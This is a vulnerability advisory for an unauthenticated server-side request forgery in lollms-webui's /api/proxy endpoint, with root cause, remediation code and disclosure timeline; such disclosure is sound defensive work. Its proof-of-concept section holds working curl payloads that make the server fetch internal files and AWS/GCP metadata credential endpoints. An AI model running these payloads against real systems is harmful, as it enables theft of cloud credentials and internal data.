# CVE-2026-33340: SSRF in lollms-webui ## Overview | Field | Detail | |---|---| | **CVE ID** | CVE-2026-33340 | | **Vulnerability** | Server-Side Request Forgery (SSRF) | | **Affected Product** | ParisNeo/lollms-webui (LoLLMs WEBUI) | | **Severity** | Critical — CVSS 9.1 | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | | **CWE** | CWE-918: Server-Side Request Forgery (SSRF) | | **Affected Component** | `lollms_core/lollms/server/endpoints/lollms_apps.py` | | **Vulnerable Endpoint** | `/api/proxy` | | **Advisory** | [GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) | | **NVD** | [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-33340) | | **SentinelOne** | [SentinelOne Analysis](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/) | | **Discovered by** | [Regaan R](https://github.com/regaan) — [ROT Independent Security Research Lab](https://rothackers.com) | --- ## Summary A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in `lollms-webui`, the web interface for Lord of Large Language and Multi modal Systems. The `@router.post("/api/proxy")` endpoint allows **unauthenticated attackers** to force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata such as AWS/GCP IAM tokens. --- ## Affected Product - **Repository**: [`ParisNeo/lollms-webui`](https://github.com/ParisNeo/lollms-webui) / [`ParisNeo/lollms`](https://github.com/ParisNeo/lollms) - **Affected Component**: `lollms_core/lollms/server/endpoints/lollms_apps.py` ([Lines 443-450](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450)) - **Vulnerable Endpoint**: `/api/proxy` - **Affected Versions**: All known existing versions --- ## Root Cause Analysis The vulnerability exists because the `proxy` function in `lollms_apps.py` does not implement authentication or any form of URL/domain validation. It accepts a raw URL string from the user and passes it directly to an asynchronous HTTP client. ### Vulnerable Code ```python @router.post("/api/proxy") async def proxy(request: ProxyRequest): try: async with httpx.AsyncClient() as client: # No check_access() call — unauthenticated # No URL validation — arbitrary destinations response = await client.get(request.url) return {"content": response.text} except Exception as e: raise HTTPException(status_code=500, detail=str(e)) ``` ### What's Wrong 1. **No Authentication**: The endpoint does not call `check_access(lollmsElfServer, request.client_id)` or any authentication middleware, allowing any unauthenticated user to invoke it. 2. **No URL Validation**: The user-supplied URL is passed directly to `httpx.AsyncClient().get()` without checking the destination against a whitelist or blocking private/internal IP ranges. 3. **Full Response Disclosure**: The entire HTTP response body is returned to the caller via `{"content": response.text}`, allowing complete data exfiltration. --- ## Proof of Concept ### Step 1 — Set up a simulated internal service ```bash echo "INTERNAL_SECRET_DATA" > secret.txt python3 -m http.server 8888 ``` ### Step 2 — Exploit the SSRF ```bash curl -X POST http://localhost:9600/api/proxy \ -H "Content-Type: application/json" \ -d '{"url": "http://localhost:8888/secret.txt"}' ``` ### Step 3 — Observe the response ```json {"content": "INTERNAL_SECRET_DATA\n"} ``` The server fetched the file from the internal service and returned its contents to the attacker. ### Cloud Metadata Exploitation ```bash # AWS IMDSv1 — Retrieve IAM credentials curl -X POST http://:9600/api/proxy \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' # GCP — Retrieve access token curl -X POST http://:9600/api/proxy \ -H "Content-Type: application/json" \ -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}' ``` --- ## Impact | Scenario | Description | |---|---| | **Cloud Credential Theft** | Attackers on cloud platforms (AWS/GCP/Azure) can access `http://169.254.169.254/` to retrieve instance metadata, IAM credentials, and access tokens — leading to full cloud account compromise. | | **Internal Network Pivoting** | Attackers can probe internal databases, APIs, admin panels, and management interfaces not exposed to the public internet. | | **Localhost Service Access** | Attackers can reach `localhost`-bound services (Redis, Elasticsearch, Docker API, database consoles) that implicitly trust local traffic. | | **Internal Port Scanning** | The SSRF can be used to enumerate open ports and running services on the internal network by observing response timing and error messages. | | **Data Exfiltration** | Any HTTP-accessible data within the server's network reach can be read and returned to the attacker. | --- ## Attack Flow ``` Attacker lollms-webui Server Internal Network | | | | POST /api/proxy | | | {"url": "http://169.254..."} | | |----------------------------------->| | | | GET http://169.254.169.254/... | | |------------------------------------->| | | | | | 200 OK (IAM credentials) | | |<-------------------------------------| | | | | {"content": ""} | | |<-----------------------------------| | ``` --- ## Proposed Remediation ### 1. Add Authentication ```python @router.post("/api/proxy") async def proxy(request: ProxyRequest): check_access(lollmsElfServer, request.client_id) # Add this # ... ``` ### 2. Implement URL Validation ```python from urllib.parse import urlparse import ipaddress BLOCKED_RANGES = [ ipaddress.ip_network("127.0.0.0/8"), ipaddress.ip_network("10.0.0.0/8"), ipaddress.ip_network("172.16.0.0/12"), ipaddress.ip_network("192.168.0.0/16"), ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata ] def is_safe_url(url: str) -> bool: parsed = urlparse(url) hostname = parsed.hostname if hostname in ("localhost", ""): return False try: ip = ipaddress.ip_address(hostname) return not any(ip in network for network in BLOCKED_RANGES) except ValueError: # Hostname is a domain — resolve and check import socket resolved = socket.gethostbyname(hostname) ip = ipaddress.ip_address(resolved) return not any(ip in network for network in BLOCKED_RANGES) ``` ### 3. Restrict to Whitelisted Domains ```python ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"] def is_whitelisted(url: str) -> bool: parsed = urlparse(url) return parsed.hostname in ALLOWED_DOMAINS ``` --- ## Patch Status As of the publication date, **no patched version** of lollms-webui has been released. Monitor the [GitHub Security Advisory](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) for updates. --- ## Timeline | Date | Event | |---|---| | 2026-03-07 | Vulnerability discovered and reported via GitHub Security Advisory | | 2026-03-24 | CVE-2026-33340 published to NVD | | 2026-03-25 | NVD database entry updated | | 2026-03-27 | SentinelOne publishes vulnerability analysis | --- ## References - [NVD — CVE-2026-33340](https://nvd.nist.gov/vuln/detail/CVE-2026-33340) - [GitHub Security Advisory — GHSA-mcwr-5469-pxj4](https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4) - [SentinelOne Vulnerability Database — CVE-2026-33340](https://www.sentinelone.com/vulnerability-database/cve-2026-33340/) - [Vulnerable Source Code (Lines 443-450)](https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450) --- ## Discovered by **Regaan R** ([@regaan](https://github.com/regaan)) Lead Researcher — [ROT Independent Security Research Lab](https://rothackers.com) --- ## Disclaimer This writeup is published for educational and defensive purposes only. The vulnerability was reported through responsible disclosure via GitHub Security Advisories. Always obtain proper authorization before testing for vulnerabilities. --- ## License This writeup is released under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).